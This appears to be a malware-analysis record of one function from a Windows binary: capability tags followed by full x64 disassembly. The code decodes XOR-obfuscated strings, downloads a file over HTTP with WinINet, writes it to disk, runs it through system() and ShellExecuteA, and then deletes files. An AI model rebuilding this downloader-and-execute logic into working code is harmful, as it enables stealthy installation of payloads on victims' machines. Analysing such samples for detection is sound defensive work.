Function at 0x14004f490
Capabilities:
Contain obfuscated stackstrings
Create http request
Create process on windows
Delete file
Download and write a file
Encode data using xor
Execute command
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x430]
sub rsp, 0x530
xor ebx, ebx
xor eax, eax
mov word [rbp + 0x450], ax
movdqa xmm0, xmmword [0x1400fa5b0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400fa430]
movdqu xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0x29332f67
mov word [rsp + 0x74], 0x100
mov ecx, ebx
nop dword [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x24
jb 0x14004f4f0
mov byte [rsp + 0x75], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], rbx
lea rax, [rsp + 0x50]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], bl
jne 0x14004f522
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.14005ab10
nop
lea rsi, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rsi, qword [rbp - 0x78]
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Mozilla_5.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r15, rax
test rax, rax
je 0x14004f617
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x400100
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x450]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
je 0x14004f60e
lea rdx, [0x1400f76a4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
je 0x14004f605
mov dword [rbp + 0x450], ebx
nop dword [rax + rax]
lea r9, [rbp + 0x450]
mov r8d, 0x400
lea rdx, [rbp + 0x30]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rbp + 0x450]
mov r9, rsi
mov edx, 1
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp dword [rbp + 0x450], 0
ja 0x14004f5c0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov word [rbp + 0x450], Ordinal_41
mov byte [rbp + 0x452], 0
mov dword [rsp + 0x40], 0x5e5f5e48
mov dword [rsp + 0x44], 0x1b0f4c44
mov dword [rsp + 0x48], 0x5c181242
mov dword [rsp + 0x4c], 0x1001415
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xe
jb 0x14004f650
mov byte [rsp + 0x4f], 0
lea rax, [rsp + 0x40]
mov rcx, rdi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14004f670
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp - 0x68]
sub rax, rdx
cmp rax, rcx
jb 0x14004fc5f
lea rax, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rax, qword [rbp - 0x78]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x78]
movzx edx, byte [rbp + 0x450]
lea rcx, [rbp + 8]
call fcn.140044970
nop
lea rax, [rbp + 0x450]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14004f6d4
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 8]
call fcn.140044500
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x14004f759
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f754
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f754
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d317c
movdqa xmm0, xmmword [0x1400fa160]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 8], 0
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova r8, qword [rbp - 0x78]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, rbx
test eax, eax
jne 0x14004f813
movdqa xmm0, xmmword [0x1400fa3b0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400fa310]
movdqu xmmword [rsp + 0x60], xmm1
mov byte [rsp + 0x70], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rdx + 0x29]
xor byte [rsp + rdx + 0x50], al
inc rdx
cmp rdx, 0x1f
jb 0x14004f7f0
mov byte [rsp + 0x70], 0
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x14004f870
movdqa xmm0, xmmword [0x1400fa800]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400fa6c0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400fa400]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x7d0f0918
mov dword [rbp - 0x7c], 0x1007f7c
nop dword [rax + rax]
lea eax, [rdx + 0x29]
xor byte [rsp + rdx + 0x50], al
inc rdx
cmp rdx, 0x36
jb 0x14004f850
mov byte [rbp - 0x79], 0
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14005a170
lea rdx, [0x14005a340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400fa5b0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400fa430]
movdqu xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0x29332f67
mov word [rsp + 0x74], 0x100
mov rcx, rbx
nop
lea eax, [rcx + 0x29]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x24
jb 0x14004f8c0
mov byte [rsp + 0x75], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea rax, [rsp + 0x50]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004f8f0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x18]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, rbx
test eax, eax
jne 0x14004f973
mov dword [rsp + 0x40], 0x49414460
mov dword [rsp + 0x44], 0x544a5a4e
mov dword [rsp + 0x48], 0x61c0311
mov word [rsp + 0x4c], 0x100
nop dword [rax]
nop word [rax + rax]
lea eax, [rdx + 0x29]
xor byte [rsp + rdx + 0x40], al
inc rdx
cmp rdx, 0xc
jb 0x14004f950
mov byte [rsp + 0x4d], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x14004f9b1
mov dword [rsp + 0x40], 0x4359586c
mov dword [rsp + 0x44], 0x1f1e0e5f
mov word [rsp + 0x48], 3
mov byte [rsp + 0x4a], 1
nop
lea eax, [rdx + 0x29]
xor byte [rsp + rdx + 0x40], al
inc rdx
cmp rdx, 9
jb 0x14004f990
mov byte [rsp + 0x4a], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14005a170
lea rdx, [0x14005a340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x1400fa5b0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400fa4c0]
movdqu xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0x25383a3c
mov dword [rsp + 0x74], 0x31382126
mov dword [rsp + 0x78], 0x307d2b3f
mov dword [rsp + 0x7c], 0x1003a39
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x2e
jb 0x14004fa10
mov byte [rsp + 0x7f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
lea rax, [rsp + 0x50]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14004fa40
mov r8, rdi
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rcx, qword [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
jne 0x14004fac3
mov dword [rsp + 0x40], 0x49414460
mov dword [rsp + 0x44], 0x544a5a4e
mov dword [rsp + 0x48], 0x61c0011
mov word [rsp + 0x4c], 0x100
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx + 0x29]
xor byte [rsp + rbx + 0x40], al
inc rbx
cmp rbx, 0xc
jb 0x14004faa0
mov byte [rsp + 0x4d], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x14004fb01
mov dword [rsp + 0x40], 0x4359586c
mov dword [rsp + 0x44], 0x1f1d0e5f
mov word [rsp + 0x48], 3
mov byte [rsp + 0x4a], 1
nop
lea eax, [rbx + 0x29]
xor byte [rsp + rbx + 0x40], al
inc rbx
cmp rbx, 9
jb 0x14004fae0
mov byte [rsp + 0x4a], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14005a170
lea rdx, [0x14005a340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14004fb55
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fb50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fb50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d317c
movdqa xmm0, xmmword [0x1400fa160]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x14004fba4
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fb9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fb9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d317c
movdqa xmm0, xmmword [0x1400fa160]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14004fbf3
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fbee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fbee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d317c
movdqa xmm0, xmmword [0x1400fa160]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004fc42
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fc3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fc3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d317c
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140044340
nop
int3